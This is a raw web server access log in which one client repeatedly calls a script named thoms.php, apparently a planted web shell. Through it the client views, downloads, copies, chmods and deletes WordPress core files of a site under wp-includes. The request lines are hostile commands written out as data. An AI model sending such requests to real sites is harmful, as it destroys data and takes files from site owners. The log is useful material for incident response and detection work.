45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 200 48138 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?chmod=admin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /bossini.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /bossini.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 200 19798 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?dl=ms-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59181 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /thoms.php?del=l10n&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=l10n&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /bossini.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fplugin.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fplugin.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 200 19809 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcategory.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcategory.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:05 -0400] "GET /thoms.php?dl=template-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /bossini.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 200 20829 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:06 -0400] "GET /thoms.php?dl=class-requests.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 200 14048 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?dl=default-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?del=ms-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59179 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?dl=cache-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59171 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:07 -0400] "GET /thoms.php?del=class-phpass.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 58947 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59146 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 200 24450 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /bossini.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /thoms.php?chmod=block-bindings&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /thoms.php?del=pluggable.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:08 -0400] "GET /thoms.php?chmod=html-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 200 14670 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 200 15502 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?del=abilities-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /thoms.php?dl=category-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:09 -0400] "GET /bossini.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 200 12330 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?dl=comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?chmod=block-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?del=widgets&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=widgets&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 13278 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 200 20319 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?chmod=meta.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /bossini.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:10 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 200 20075 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 200 22659 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?dl=block-patterns.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 200 17267 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59150 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
